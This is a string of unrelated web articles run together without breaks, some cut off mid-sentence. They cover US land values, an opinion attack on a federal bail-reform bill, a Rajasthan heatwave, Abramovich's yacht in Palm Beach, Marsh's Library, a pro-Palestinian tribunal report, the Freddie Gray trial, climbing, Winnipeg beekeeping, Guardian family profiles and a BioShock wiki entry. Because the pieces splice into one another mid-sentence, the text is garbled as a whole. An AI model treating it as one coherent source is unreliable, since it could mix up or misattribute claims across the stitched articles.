in Nevada, Arizona, and Florida. Only five states retained average land values greater than $140,000. Since 2012, land values have recovered, but not quite to the same levels as in 2007. Land values in a handful of states (Oklahoma, Mississippi, West Virginia, and New Hampshire) remain below $15,000, despite 40 years of inflation. Methodology The average land value is distinct from home value and structure cost: land value is determined by subtracting the structure cost from the total home value. The data behind the interactive map are estimates for 50 US states and DC of the prices and quantities of residential housing in nominal dollars (not adjusted for inflation). Average land values range from $0-$15,000 (colored green) to $140,000-$700,000 (colored red). Summary While average land prices in the US have increased over the last 40 years, there have been fluctuations along the way. Most of the price growth has occurred in western and eastern states, with the central states experiencing less appreciation in land value. For some states that continue to have average land values below $15,000, it is safe to assume that land values (in real terms) have actually decreased since 1975. Sign up below for a future update from HowMuch on the release of its super-detailed cost of living analysis, based on geography and demographicsSen. Rand Paul (R-KY) is known for his support of free market principles, but that apparently changes entirely when it comes to bail. He is championing legislation alongside Sen. Kamala Harris (D-CA) that would use federal grants to effectively destroy the bail bonds industry, putting thousands of small businessmen at risk of losing their livelihoods. “Our justice system was designed with a promise: to treat all people equally,” Harris was quoted as saying in a news release. “Yet more than 450,000 Americans sit in jail today awaiting trial and many of them cannot afford ‘money bail.’ In our country, whether you stay in jail or not is wholly determined by whether you’re wealthy or not — and that’s wrong.” Harris and Paul published a joint op/ed in the New York Times where the lawmakers referenced the policies of New Jersey as an example of what their proposed federal grant money would influence states into adopting. New Jersey has become a stunning example of the unintended consequences of government solutions to the supposed bail problem. NBC New York conducted an early expose of what happened after New Jersey effectively dismantled the bail bonds system in their state. What they found was a tremendous lack of accountability, increased government control and spending, and the empowering of criminals to commit more offenses. From the report: “On January 1 of this year, New Jersey overhauled its criminal justice system and virtually eliminated the old cash bail structure, replacing it with one that relies heavily on a mathematical risk assessment formula… From January 1 through March 31, 10,193 eligible defendants were processed. Preventive detention was ordered for only 12.4%. Nearly 85% were given pretrial release, some with conditions… Outraged mother June Rodgers of Millville blames bail reform for the murder of her son. He was shot to death on a street in Vineland in April after a verbal dispute with a man driving a car. Cops arrested career criminal Jules Black, who’d been picked up on a separate gun charge four days before, and released with no bail… The state has created a Division of Pretrial Services to monitor defendants. The funds come from court fees. There have been 173 employees hired so far. The projected spending for next fiscal year is expected to be in the range of $36 million to $38 million dollars. The Office of Administrative Courts was unable to provide any statistics on the number of released defendants who have re-offended since January 1, or the number of those who have failed to appear for scheduled court dates.” Under Paul’s proposal, $10 million in federal grant money would be earmarked toward coercing states across the country to adopt these policies. Matt Maddock, a conservative activist and bail bondsman from Michigan, has lobbied on behalf of his industry for many years. He believes that Paul’s plan is misguided and unbecoming of the tea party values that got him elected to the Senate in 2010. “Outlawing bail bond agencies and eliminating money bail is not the solution to the problem of the criminally accused from languishing in jail unable to post bail,” Maddock said. “User-funded bail bond agencies are the only mechanism that effectively reduce the number of fugitives in our communities because they have ‘skin in the game,’ and they go out and bring fugitives back into custody.” The streets may not be safer, government may not be limited, and small businessmen may have to worry about their livelihood, but at least Paul will have a decent photo-op with a Democrat and series of media appearances to boost his political aspirations. The legislation is not expected to pass.JAIPUR: The severe heatwave conditions intensified in dry Rajasthan on Thursday with a majority of stations witnessing maximum temperatures above 46 degrees Celsius. Phalodi in Jodhpur recorded a maximum temperature of 51 degrees Celsius – the highest temperature recorded in the country since 1956, while the state capital of Jaipur had its hottest day in last 11 years with a maximum temperature of 46.5 degrees Celsius.Alwar, so long, had the record of registering the maximum temperature ever in the country since 1956 at 50.6 degrees Celsius. Meanwhile, the meteorological department said the heatwave condition would further aggravate in next couple of days.“The Pink City had recorded its hottest day on May 25, 1932, when a maximum temperature read at 47.7 degrees Celsius. However, on Thursday, the maximum temperature was hottest in the last 11 years,” said an officer with the Jaipur Met office.According to Laxman Singh Rathore, director general (DG), IMD, Delhi, “It has been observed that since 2001, places in northern India, especially in Rajasthan, are witnessing a rising temperature trend every year. The main reason is the excessive use of energy and emission of carbon dioxide. Factors like urbanization and industrialization too have added to the global warming phenomenon. I think similar trend would be maintained in Rajasthan in coming days.”Phalodi was followed by Churu where a maximum temperature of 50.2 degrees Celsius was recorded. The roads in afternoon at Churu were empty as people confined themselves to their houses, while the OPD of government hospitals witnessed an increased number of patients coming with problems of heat stroke.Churu was followed by Bikaner and Barmer where a maximum temperature of 49.5 degrees Celsius each was recorded, Sriganganagar 49.1, Jaisalmer 49.0, Jodhpur 48.8, Kota 48.2, Pilani 47.5, Udaipur 46.4, and a maximum temperature of 46.2 degrees Celsius was recorded in Ajmer.In its forecast, Jaipur Met office said that similar conditions will prevail in the state, however, from Sunday onwards, there is a possibility of rainfall and dust storm which might provide some relief.UPDATED: Days before President Trump flies into town for Thanksgiving, one of the world’s most expensive yachts, owned by Russian oligarch Roman Abramovich, sailed into the Port of Palm Beach Friday afternoon. But don’t get all collusion-delusional. Abramovich’s spokesman said the billionaire isn’t aboard — the ship’s just in town for scheduled maintenance. The 533-foot Eclipse, valued at $400 million to $500 million, comes equipped with a pool, helipad, submarine and room for a crew of 92, according to marine websites. It made its way past The Bahamas and docked at 1:15 p.m, taking the slip normally reserved for the Grand Celebration, a cruise ship on hurricane-relief duty in St. Thomas, Virgin Islands. var _informq = _informq \|\| []; _informq.push(['embed']); Originally booked to stay through Dec. 5, the Eclipse might have to leave Dec. 1, as it is being followed by the 644-foot World, billed as “the largest private residential ship on the planet,” which is scheduled to arrive that day. READ: Port of Palm Beach helps fill demand of mega yachts Where will the Eclipse go? The MarineTraffic app had it headed south on the Intracoastal Waterway, toward downtown West Palm Beach. Or at least it did — that flight plan vanished from the app on Saturday. Maybe they found out, as we were told, a ship that big would run aground in the Waterway. Note to Transportation Security Administration: In any event, that route would have put a Russian submarine within a mile or so of the winter White House. Forbes lists Abramovich’s net worth at $9.5 billion, the world’s 139th-richest person, with major holdings in steel, nickel and oil companies, as well as Britain’s Chelsea soccer team. WEST PALM READERS: Sign up for The Post’s weekly West Palm Beach newsletter Bloomberg Politics has reported that presidential son-in-law Jared Kushner has met Abramovich one-on-one and with their wives on a number of occasions.We’re told they haven’t been in touch since a charity dinner in 2014, though. No word on whether Abramovich, 51, said to be a close ally of Russian President Vladimir Putin, has met President Trump. A White House spokesperson said the President has no meetings scheduled for his upcoming visit to Palm Beach. Trump campaign participants have been under investigation by a special prosecutor about whether they colluded with Russians believed to have interfered in the presidential election on Trump’s behalf. According to Michael Rafferty, a broker with the Palm Beach office of International Yacht Co., the Eclipse is the second biggest private yacht in the world. Submarines are becoming popular on yachts of that caliber, he said. “Helicopters are pretty much standard on the bigger boats. Submarines are becoming a popular toy.” At the recent Fort Lauderdale boat show, he said, one yacht was set up with snow skiing equipment, to allow for helicoptering to a glacier for skiing. This month, Berth One International, a new venture at the Port of Palm Beach, was launched to help fill the demand of super yachts — defined as privately owned vessels longer than 100 feet. The berth at the port’s northern end can hold up to two 180-foot yachts, or one larger yacht of up to 400 feet. With a depth of 27 feet, the berth’s waters can accommodate the huge vessels with their deep drafts of 15 to 20 feet. “It’s a very good thing for the economy in Palm Beach” to have vessels of that size arriving, Rafferty said. “It’s very valuable for our business.”The reading cages at Marsh’s Library in Dublin (via Marsh’s Library) Recently we explored a medieval form of book security: chained libraries. But a reader brought to our attention a library in Dublin, Ireland, that went a step further and locked its readers in cages. Marsh’s Library located by St. Patrick’s Cathedral, dates to the 18th century, and was started by Archbishop Narcissus Marsh. Little has changed over three centuries at the late Renaissance space. According to Marsh’s Library’s site, it’s one of the city’s few 18th century buildings serving its intended function, and most of its books are still in their same places. One of those original features is three scholar alcoves with wire doors. These cages would be locked when a reader was using a rare book so they wouldn’t walk off with it. Although books were more widespread than the middle ages that spawned the chained libraries, there were still books precious enough that libraries weren’t comfortable without some restrictions. Marsh’s was the first public library in the country, and at the time it was still a fairly progressive idea to offer a not-always-trustworthy public books for free. Marsh himself was very specific on library etiquette, stating “in case any person shall carry Himself otherwise (which We hope will not happen) We order Him to be excluded, if after being admonished He does not mend His manners.” Now visitors will find there is a skull in one of the reading cages. Don’t despair that it is some biblio-miscreant. It’s actually a cast of the cranium of Stella, the ambiguous companion of one of the deans at the cathedral — author Jonathan Swift. The library is still open to the public with over 25,000 books dating back to the 15th century and has woven itself into Dublin’s history. It even appears, although perhaps not in the best light, in James Joyce’s Ulysses, alongside a sly Swift reference for good measure: Beauty is not there. Nor in the stagnant bay of Marsh’s library where you read the fading prophecies of Joachim Abbas. For whom? The hundredheaded rabble of the cathedral close. A hater of his kind ran from them to the wood of madness, his mane foaming in the moon, his eyeballs stars. Yikes! Well aside from the lovely Marsh’s being far from a “stagnant bay,” we do hope no readers were ever forgotten in its cages. Marsh’s Library (photograph by William/Flickr user) Leaf through more library curiosities on Atlas Obscura >October 10, 2012 Gary Lapon and Daphna Thier report from New York City about the Russell Tribunal on Palestine and its two days of hearings into the crimes of the Israeli government. NEARLY 1,000 people gathered in the Great Hall at Cooper Union in lower Manhattan on October 6 and 7 to hear two days of testimony on the complicity of the U.S. government and the United Nations in Israel's past and present crimes against the Palestinian people. The testimony took place before the Russell Tribunal on Palestine. Modeled on a tribunal to investigate U.S. war crimes in Vietnam organized by British philosopher Bertrand Russell, the Russell Tribunal on Palestine is an effort, embraced by renowned writers and thinkers, to expose the barbarism and oppression against Palestinians carried out by the Israeli government and its allies. A statement from the Tribunal said that this session in New York City was the last of four that "[aimed] to bring attention to the complicity and responsibility of various national, international and corporate actors in the ongoing Israeli occupation of Palestinian territories and the perpetuation of Israel's impunity under international law." The New York session focused particularly on the role of the UN and the U.S. in supporting or failing to prevent or punish Israel's crimes. IDF soldiers interrogate a Palestinian youth at a West Bank checkpoint Since it has no legal authority, the tribunal relies on its "members' prestige, professionalism and commitment to human rights." The jury for the New York session included activists, a Nobel Peace Prize laureate, legal professionals and scholars, and prominent intellectuals, ranging from Native Americans to African Americans born in the Jim Crow South, to people from South Africa and Northern Ireland. The week before the New York session, it was announced that musician Roger Waters, best known as a member of Pink Floyd, had joined the jury. Waters said in an interview that he had joined the boycott, divestment and sanctions movement against Israel a few years ago after he was contacted about canceling a concert planned for Tel Aviv. "It's an absolute tragedy that Palestinians have been thrown off land their families have been living on for thousands of years," Waters said. This tribunal session was held in the U.S. to call attention to the American government's role as key funder and enabler of Israel's crimes, but also to connect the struggle of the Palestinians with that of African Americans and Native Americans. Harry Belafonte, who attended the Saturday session, said the connection between civil rights for African Americans and justice for Palestinians is "a link that I've always recognized...In the midst of our struggles from the civil rights movement to the liberation of South Africa, we have found great synergy in our interests as oppressed people of color. Both benefited from the presence of each other and we continue to experience the need for one another." Organizers of the tribunal aimed not only to shed further light on Israel's crimes, but to build connections between struggles against oppression across the globe and inspire others to act in solidarity with the Palestinian people. THE FIRST day of testimony began with Israeli historian Ilan Pappé discussing the impact of early Zionism on Palestine, leading up to the ethnic cleansing that preceded the establishment of the state of Israel in 1948. Pappé testified there was a thriving Arab society in Palestine prior to the creation of the state of Israel. He said early Zionist colonizers viewed the native Palestinians as "usurpers" and "foreign agents," assigning them the Orwellian category of "alien native." These racist ideas remain "at the heart of Israeli Zionist policies towards the Palestinians," Pappé said. The Zionist movement decided "to ethnically cleanse Palestine...a crime against humanity [such] that only genocide is above it," he said. Immigration lawyer Susan Akram detailed the Palestinian refugee crisis and the unwillingness or inability of the United Nations to resolve it. There are now 6.8 million Palestinian refugees--half of the world's refugee population--most of them people who were expelled in 1948 and their descendants. Akram explained that while the UN believes all refugees have the right to return to the homes from which they were expelled, it has not acted to force Israel to respect this right. Pappé testified that while many falsely trace the beginning of the Israeli-Palestinian conflict to the 1967 war and Israel's occupation of the West Bank and Gaza, in reality, 1967 represented a continuation of the colonial project to establish "Greater Israel." In fact, the desire to take Gaza and the West Bank was a core Zionist aim that went unfulfilled in 1948, according to Pappé. As law professor John Quigley testified, the U.S. "covered up what it knew about the run-up" to the 1967 war, which began with Israel's surprise bombing raids on Egypt. According to Quigley, neither U.S. nor Israeli intelligence believed that Egypt was going to attack Israel. Thus, the 1967 war wasn't defensive, as Israel and the U.S. have always claimed, but a war of aggression, in violation to the UN Charter that Israel is a signatory to. Journalist and activist Ben White testified that the ethnic cleansing of Palestine is an ongoing process. He said the view that Palestinians within Israel represent a "demographic threat" is "commonplace among Israeli academics, think tanks, politicians, laypersons." White testified to the high rates of poverty among Palestinians, and that due to Israeli policy, "there is no practical means for the Palestinians to develop and independent economy." Vera Gowlland-Debbas, of the Graduate Institute of International and Development Studies in Geneva, took up the question of the legal responsibility of the UN to enforce international and human rights law, including the issue of UN complicity in upholding a double standard for Israel. She pointed out that when Iraq invaded Kuwait, the UN Security Council authorized the use of force, but the body has failed to act in response to Israeli crimes such as the construction of the separation wall in the West Bank or Operation Cast Lead in 2008-09, the barbaric assault on Gaza. Suzanne Adely, a lawyer in attendance at the tribunal and member of the National Lawyers Guild and Defend the Egyptian Revolution Committee in New York, said in an interview, "We can't just say it's a double standard. Actually, structures such as the UN have been intentionally created by capitalist and imperialist entities to perpetuate and control this system, not make it more just." Raji Sourani, a leading Palestinian human rights attorney from Gaza, was supposed to testify about conditions under occupation. However, the U.S. State Department refused him permission to enter the country. Instead, Jeanne Mirer, president of the International Association of Democratic Lawyers, spoke about the humanitarian crisis in Gaza that has resulted from the Israeli siege. She described Gaza as an "open air prison for 1.6 million people...Closures imposed [by Israel] are illegal collective punishment." Mirer denounced Operation Cast Lead, during which Israel killed as many as 1,400 Palestinians, as an "illegal war of aggression." Some 95 percent of factories in Gaza are closed because Israel won't allow in necessary raw materials, unemployment is around 50 percent, 1.1 million Gazans rely on food assistance, and two-thirds live in deep poverty. Mirer spoke ominously about Gaza's water supply, which is under threat because of a lack of sanitation equipment and supplies banned by the Israeli blockade. "If massive investments in water treatment and desalinization plants are not taken immediately, the whole population of Gaza will be subject to a water crisis of genocidal proportions in a very few years," Mirer said. The end of Ilan Pappé's presentation stood out during the first day of testimony, as he made a passionate appeal for a one-state solution as the only just solution: The idea of two states is a Zionist idea...do not shrink Palestine into 20 percent of its geography and do not shrink the Palestinian people into 50 percent of who they are. If we are going to seek a just and peaceful solution...we should include everyone who is affected and who was affected so that we can build together a stable future. THE SECOND day began with Diana Buttu, a Palestinian-Canadian lawyer residing in Ramallah, who explained how the U.S.-brokered "peace process" has helped to legitimize Israel's crimes. She explained how the Oslo Accords of 1993 aided the annexation of large parts of the West Bank to Israel and legitimized this in the eyes of the international community. According to Buttu, "34 separate countries established relations with Israel...so rather than Israel feeling disdain that it was still an occupier and a dispossessor, it was now suddenly being rewarded." Katherine Gallagher a senior staff attorney at the Center for Constitutional Rights, spoke about how the U.S. uses its veto power as a permanent member of the UN Security Council to protect Israel from accountability for its war crimes and other violations of international law. Of the 82 times the U.S. has vetoed UN resolutions, over half were to protect Israel. Noam Chomsky testified via Skype on the history of the relationship between U.S. interests in the region and its policies regarding the Israel/Palestine question. He began by acknowledging the 30-year anniversary of the U.S.-backed Israeli war on Lebanon that left roughly 20,000 Lebanese, Syrians and Palestinians dead, including the massacre of as many as 3,500 people at the Sabra and Shatila refugee camps. Phyllis Bennis, co-founder of the U.S. Campaign to End Israeli Occupation, testified that public opinion continues to shift in favor of those working for justice for Palestinians--but also that public opinion has limited influence on U.S. policy. "When we look at the history of the United States, we see the legacy of genocide, of slavery, of disempowerment," Bennis said. "But parallel to that we see another history...a history of resistance, right from the beginning." Craig and Cindy Corrie, the parents of Rachel Corrie, the 23 year-old U.S. activist killed by an Israeli bulldozer in Gaza in 2003, made a surprise visit to address the tribunal. Cindy Corrie spoke about the need to focus on civilian deaths, speaking of several dozen Palestinians who have been killed by Israel for nonviolently protesting the separation wall in the West Bank. "They all must be remembered," she said. "We must have accountability." Craig Corrie said, "If you back over my car, I know you can replace my car. But you run over my daughter, I don't know what justice means. You have to prevent it from happening. So we have to keep preventing and preempting in our justice." AT A press conference held the day after the tribunal wrapped up, the jury's findings were announced. As in the previous sessions, the jury found Israel guilty of numerous violations of international law, including violation of the Palestinians' right to self-determination and refugees' right to return, as well as the "acquisition of territory through war." The jury charged Israel with violating international humanitarian law prohibiting mistreatment, torture and prolonged administrative detention of Palestinians, and it confirmed the judgment of international activists that Israel is an apartheid state. "Because of their systematic, numerous, flagrant and sometimes, criminal character, these violations are of a particularly high gravity," the jury found. The U.S. government has been guilty of complicity with Israel's crimes, according to the Russell Tribunal jury: "Since the Six Day War in 1967, the U.S. has provided unequivocal economic, military and diplomatic support to Israel in order to establish a qualitative military superiority over its Arab neighbors in violation of its own domestic law." The U.S. was found guilty of "obstructing accountability for violations of the Geneva Conventions" and "abusing its veto power within the Security Council," and it was charged with "continuing to provide economic support for the settlement expansion" and "failing to condition military aid to Israel...based on its compliance with human rights norms." The United Nations was convicted for its failure to prevent Israel's violation of international law, which the UN is legally mandated to uphold. The jury called for civil and criminal litigation against the perpetrators of the many crimes about which it passed judgment--and for the reform of the UN, including abolition of the veto power for permanent members of the Security Council. Finally, the Russell Tribunal jury called for the mobilization of activists and trade unions for justice in Palestine, and for worldwide involvement in the BDS movement against Israel until the country complies with international law. Zwelinzima Vavi, general secretary of the Congress of South African Trade Unions, addressed the tribunal at the end of the second day. He called on unions in the U.S. to take a stand in support of the Palestinian people as they had against South African apartheid. Vavi said in an interview that international solidarity on the part of unions and others is "absolutely critical. Any form of denial of human rights anywhere constitutes a reason for us to extend our hands of solidarity across borders."BALTIMORE — The acquittal Monday of a police officer charged in the arrest of Freddie Gray, the black man who suffered a fatal spinal cord injury while in police custody last year, immediately renewed questions of whether any of the six police officers charged in the case would be convicted in connection with his death. Officer Edward M. Nero’s acquittal on four charges for his role in the opening moments of Mr. Gray’s arrest was a second blow to the prosecution’s sweeping case, announced as Baltimore was still seething after the unrest following Mr. Gray’s death in April 2015. The first trial, against Officer William G. Porter, ended in a hung jury in December, touching off legal maneuvers that brought proceedings against the officers to a temporary halt. But legal experts said Judge Barry G. Williams’s finding was a narrow one that does not forestall the possibility of convictions against other officers charged in the case. They said Judge Williams’s ruling turned not on a wholesale rejection of prosecutors’ broad legal theory, but rather on his determination that Officer Nero, 30, was a bit player in Mr. Gray’s arrest. Judge Williams, who ruled on the case after the officer opted to forgo a jury trial, said in his verdict that there were other officers who played — or who could have reasonably been expected to play — a bigger role in the encounter. And while that is no guarantee that other officers will be found guilty, it is those officers who will stand trial in the coming months.Ashima Shiraishi on Horizon, ~8C, Mount Hiei, Kyushu, Japan © Yoshiko Saito So, some might say this is a piece of non-news, but I find it very interesting that Ashima Shiraishi, 14, came very close to repeating Dai Koyamada's Horizon, ~8C, at Mount Hiei, Kyushu, Japan. This is the project I spent a few days on but fell 3 times from the last hold that was wet😭😭 I definitely cried myself to sleep on my last night 😂 I hope to finish projects like these in 2016!!!! Yes, the 8C grade is all over the place, but Horizon is more likely to be hard than easy for the grade. This is what Dai Koyamada said about the grade of this long, steep problem: So I can say for sure the grade of this problem is at least V15[8C], but I’m not sure where it exactly fits within the range of V15. Is it in the upper V15 region or beyond V15 and in the realm of V16[8C+] – I can’t tell. If things continue like this, it won't be long before the best male climbers need to start watching their backs. Ashima and Janja Garnbret are catching up rapidly... Ashima Shiraishi is sponsored by: Clif Bar, Evolv, Petzl and The North FaceBeekeepers are buzzing over a victory at city hall. The city's property and development committee not only voted on Tuesday to allow bee hives in the downtown, but made it a permitted use and not conditional. The difference means lower fees for beekeepers to start hives. A conditional use permit would have cost beekeepers upwards of $1,200 plus taxes. A permitted use for bees would be approximately $200. The new city bylaw will allow beekeepers to start hives on rooftops of downtown buildings. Beekeeper Chris Kirouac was at the meeting at city hall on Tuesday and said this is a great first step. He hopes that hives will eventually be allowed across the whole city. "So I'm hoping that within a year or two we can see it open a lot wider, for myself I think that we have enough really solid examples from cities across Canada that have it wide open, that have had positive experiences that we don't need to drag our feet on this." Kirouac said. The new amended rules brings Winnipeg on-side with most major Canadian cities in allowing beekeeping in urban environments. Urban beekeeping has been gaining popularity for a number of reasons, including concern about the drop in bee populations. The Fort Garry Hotel made a request last May to allow five hives on its roof. City of Winnipeg administration prepared an amendment to the downtown zoning bylaw that would allow beekeeping downtown. The report addresses some concerns about bees, including saying honey bees are generally docile and only sting to protect the hive. It also states hives already exist in the city of Winnipeg in areas zoned agricultural. The report allows a maximum of four hives, plus one nucleus hive, for a total of five. Hive openings should not be pointed towards balconies, patios or public spaces. Hives that aren't on rooftops need to be behind two-metre-high fences.Christopher Evans, 14, and Jonathan, 11, are sighted, as is their father, an engineer. Their mother, Yuen Har Tse, 46, a former business analyst now looking for work, has been blind from birth. Their parents divorced six years ago; they live with their mother in Maidenhead, Berkshire. "I realised Mum was blind when I was three," Jonathan says. "I noticed she would bang into stuff, like the settee, and she kept walking into the things I was playing with." Yuen Har Tse, who was born in Hong Kong and brought up in Crawley, where her parents ran a Chinese takeaway, has Leber's congenital amaurosis, a rare inherited eye disease that was detected when she was a baby. She went to specialist boarding schools from the age of seven and then studied engineering at Exeter University, where she met the man who became her husband, an electronics technician. "When they were babies," she says, "I judged from the routine whether they were crying because they were hungry or whatever, but it got hard as they started to move about." As long as they were making a noise, her task of locating them was easier. But Jonathan was a quiet child who would get absorbed in playing with his toy figures and she was worried about tripping over him. One of his earliest memories is being taught to say, "Watch out" when his mother entered the room. "She tried to help us build things with Lego," he says. "She'd find the right blocks by counting the little bumps on top." She could build houses because she knew how they were supposed to look, but got lost with Lego Star Wars action figures. She would also help with jigsaw puzzles. "I used to cheat," she admits. "I used to label each piece with a Braille letter, then I knew that across the top it was ABC, so I made the boys think I could see it and do it." She taught them the alphabet with magnetic letters. But supervising their reading was painfully slow. "I had to say every single letter and where the spaces were and the full stops, and then Mum would have to work it out," Christopher says. If he didn't know the letter, he would hold his mother's finger and trace its shape. The boys' parents separated when Christopher was eight and Jonathan was five. Their father picks them up from school and they spend either two or four hours with him before going home. "In some ways it means more freedom because Dad isn't as clingy as Mum," Christopher says. His mother admits she is overprotective. "Even when they're playing outside, for instance, I get worried because I can't just look out of the window and see that they are still there." So the deal is the boys have to report in every half an hour. "If we're playing a game like man hunt or having a race outside and we are halfway through and then I have to stop and go and check back, it can be a bit annoying," Christopher says. As a 12-year-old, he found bringing friends home stressful. His mother likes to feel his face with her fingertips and never seemed to realise the impact of doing that in front of his friends. Worse, what if she mistook one of his friends for him and started to touch their face? "Also, she has a voice on her phone that reads texts and gives her the time, and that can sound a bit like a Dalek," he says, "so I would have to explain or pretend it didn't happen. It's not such a big deal now as my friends are older and are more mature about it. Actually, I don't think they realised she couldn't see because once one of them said, 'If your mum and dad have split up, why are they holding hands?' I was like, 'It's because she can't see and needs guiding.' " The question their mother most frequently asks of them is to read the use-by dates on food. She relies on ready meals; she has a Braille dial on the oven and cooks vegetables on the hob as she has stickers showing various settings (she has serious qualms about frying as she can't tell when food is done). "It does get frustrating if I have to read about 10 use-by dates," Jonathan says. There are benefits: the need to orient their mother means they are excellent at giving directions and have advanced descriptive powers. Sometimes it is also useful to be under the radar. "If I've been talking in class and there's a note from the teacher in my planner, I didn't kill anyone, so I just don't bother mentioning it," Christopher says. Daniel and Joseph Walker are non-autistic, as is their father, Seth. Their mother, Jo, is autistic. Photograph: David Yeo for the Guardian Daniel Walker, five, and Joseph, three, are non-autistic, as is their father, Seth, 40, a software architect. Their mother, Jo, 30, was diagnosed with autism in February. They live in Manchester. "Mummy likes playing with me! And loving me!" says Daniel, who has just spent a typical morning with his mother. Up at six, they play with toys while their mother gets dressed. She will wear purple because she says it makes her feel safe. Half the clothes in her wardrobe are purple. "I don't wear the other half," she says. Daniel and Joseph are allowed to wear whatever they like as
by Security Chief Sullivan, who had to do the dirty work. With this competition gone, Cohen experienced a rare era of extravagance before the Rapture Civil War forced him to close Fort Frolic.[5] Before Jack arrived in 1960, Cohen had five disciples, although only four were encountered and mentioned in the game. They were Silas Cobb, Martin Finnegan, Hector Rodriguez, and Kyle Fitzpatrick. Cohen's fifth known disciple was Elizabeth, who prior to the events of Burial at Sea spent two months undercover as his "Songbird" in order to gain information on his human trafficking schemes. It is all but stated that Cohen's relationships with his disciples were sexual in nature (with the exclusion of Elizabeth, given her gender as well as the fact that she despised him). Silas refers to Cohen "paying his rent," Martin calls Cohen an "old fruit" (a pejorative term for a homosexual), and Hector utters the ambiguous phrase "the things that man had me do…" Cohen's comments are even more explicit on the subject. All of them either betrayed or displeased Cohen at some point. As with the Medical Pavilion's Dr. J.S. Steinman, Cohen went insane, driven so partly by ADAM and out of frustration for the lack of appreciation for his work after the Civil War. An audio diary reveals that he even regretted his decision to move to Rapture for this reason, and may even have planned to kill Ryan. Known Works Edit BioShock Edit Main article: BioShock When Jack arrives in Fort Frolic, Cohen cuts off his radio contact with Ryan and Atlas, stranding him on the level by causing the Bathysphere to Hephaestus to submerge. Cohen then toys with Jack, inviting him to Fleet Hall to see a performance. This turns out to be the final performance of Kyle Fitzpatrick, who is plastered to a piano rigged with explosives. After the piano explodes, killing Fitzpatrick, Cohen requires Jack to take his photo and place it in his "Quadtych," a masterpiece that he says people will remember him by when he is gone. Cohen then sends Jack to Poseidon Plaza, promising to let Jack take the Bathysphere to Ryan only after Jack has killed and photographed his remaining three disciples, placing each photo in his Quadtych. Once the third photo is placed in the Quadtych, Cohen has a paranoid moment, accusing Jack of being a "doubter" and sends some Splicers to kill him (with the lights dimmed, a spotlight on Jack with "Waltz of the Flowers" from The Nutcracker by Tchaikovsky[6] playing), but Jack fights them off long enough for Cohen to calm down. After the player completes the Quadtych, Cohen finally reveals himself, among a host of spotlights and confetti, descending the staircase in the Atrium of Fort Frolic to congratulate Jack on his work. Cohen then rewards Jack by opening one of the glass cases near the stage. If the player chooses to attack Cohen or attack his Quadtych, the latter fights like a Houdini Splicer, teleporting around the area and throwing fireballs at the player. If the player chooses not to kill Cohen at Fort Frolic, then Jack will encounter him later in his apartment at Mercury Suites. There, Cohen welcomes him into his home saying "Come into the light, little moth, come in." Jack enters and sees two Houdini Splicers dancing to the music of a precariously balanced phonograph. If the player disrupts the dancers and kills them, Cohen will then descend from his room upstairs and attack as a Houdini Splicer, just like he would if the player attacks him in Fort Frolic. However, if the player leaves the dancers alone then it is entirely possible for Cohen to survive the events of BioShock. There is, however, an interesting glitch. If the player kills Cohen in his apartment, and then returns to Fort Frolic via Bathysphere, Cohen is still alive and able to be killed a second time. Set the Quadtych on fire once you enter the main hall and he will be waiting for you in the theater. This also allows the player to retrieve his key for Cohen's Muse Box in the Atrium. Cohen's Gifts Edit The Victims are the same in the PC, PlayStation 3, and Xbox 360 version. Victim 3: Silas Cobb, in Rapture Records. Reward: 5 Electric Buck, $20, 20 Electric Gel. After the player posts Cobb's picture, but before they get their reward, Sander orders around 20 Splicers to attack the player. They are comparatively easy to kill, and have a bit more loot than usual (First Aid Kits, Frag Grenades, Buck, etc.). The player can kill Cohen in Fort Frolic at this point, but if they do, they won't get access to his Power to the People machine in Olympus Heights. Victim 5: Sander Cohen, in the Mercury Suites of Olympus Heights. Loot: $87, 36 Antipersonnel Auto Rounds, Sander Cohen's Muse Key. There is also a Power to the People machine and a fair amount of ammo and two First-Aid Kits up in his room. Victim 6: Sander Cohen - again - after burning his Quadtych in Fort Frolic. Loot: 5 Trap Bolts, 8 Film, Sander Cohen's Muse Key. ( NOTE : See the Bugs/Glitches section below.) Muse Box reward: $100, 8 Incendiary Bolts, and 3 Spider Splicer Organs in Cohen's Muse Box (back in Fort Frolic). - again - after burning his Quadtych in Fort Frolic. 5 Trap Bolts, 8 Film, Sander Cohen's Muse Key. ( : See the Bugs/Glitches section below.) Achievements/Trophies Related to Cohen Edit Xbox 360, PlayStation 3, and BioShock Remastered Specific Edit Where the player chooses to kill Cohen affects which achievements/trophies one can obtain. If the player lets Cohen live in Fort Frolic, they will be able to gain access to a secret area in his living quarters in Olympus Heights later in the game. Entering the second floor of his apartment will give the player an achievement/trophy and an otherwise unattainable Power to the People vending machine. To gain access, simply disrupt the two dancing Houdini Splicers in his apartment either by attacking them, knocking over their record player, or playing the piano. Cohen will then come down to kill the player. Obtain the second achievement/trophy by taking a photo of his corpse. An easy way to kill Cohen is to place a number of Proximity Mines at the doorway to the upstairs level of Cohen's apartment. Then, kill the dancers from a distance and wait for Cohen to come down. If done correctly, he will walk right into the Mines and kill himself instantly. A less expensive method is one steel bolt to the head. If you are unable to aim quickly enough, stun him with Electro Bolt 2. Unlike most other enemies, Cohen does not shatter if killed while frozen. Freezing him with liquid nitrogen or Winter Blast to immobilize him can make killing him an easy affair without the usual downside of missing out on loot. If the player wants to kill Cohen right away, one may attack him in Fort Frolic. He is relatively strong and uses a similar attack pattern to a Houdini Splicer except with more health, and a much larger teleportation range. When he is dead, search his body to find some EVE Hypos and a key, which will grant one access to the second glass case containing the muse box, for some money and items. To receive both achievements/trophies quickly, simply save in Fort Frolic after Cohen has revealed himself, but before one attacks him. The player may then initiate a fight. Once he is dead, take his photo to unlock the achievement/trophy and then reload one's save to before having attacked him. Then allow him to live, and leave the level without attacking him. Or, simply wait till you get to him at Olympus Heights, kill him there, take the picture of him dead, and then go to the Power to the People Machine. Original PC version Specific Edit Killing Cohen in Fort Frolic is pointless, because there are no special achievements in the original PC version and the treasure inside the muse box is nothing noteworthy. However, if the player does not attack Cohen in Fort Frolic, they will be able to gain access to a secret area in his living quarters later on in the game in Olympus Heights which in turn will give them access to an otherwise unattainable Power to the People vending machine. To gain entry to the second floor of Cohen's apartment, simply disrupt the two dancing Houdini Splicers in his apartment, Cohen will then come down to kill the player. If one waits to kill Sander in his apartment in Olympus Heights, the player may still salvage the key to his Muse Box at Fort Frolic. Simply return to Fort Frolic via bathysphere to claim the treasure. Quotes Edit The following are phrases that Sander Cohen says in BioShock. The name of the source audio file is listed when known. When The Quadtych Is Finished Edit ( vo_r_4_co_done ) "It…is…Ac-ACCOMPLISHED!!! ( vo_s_4_co_letmesee ) Let me see it.… ( 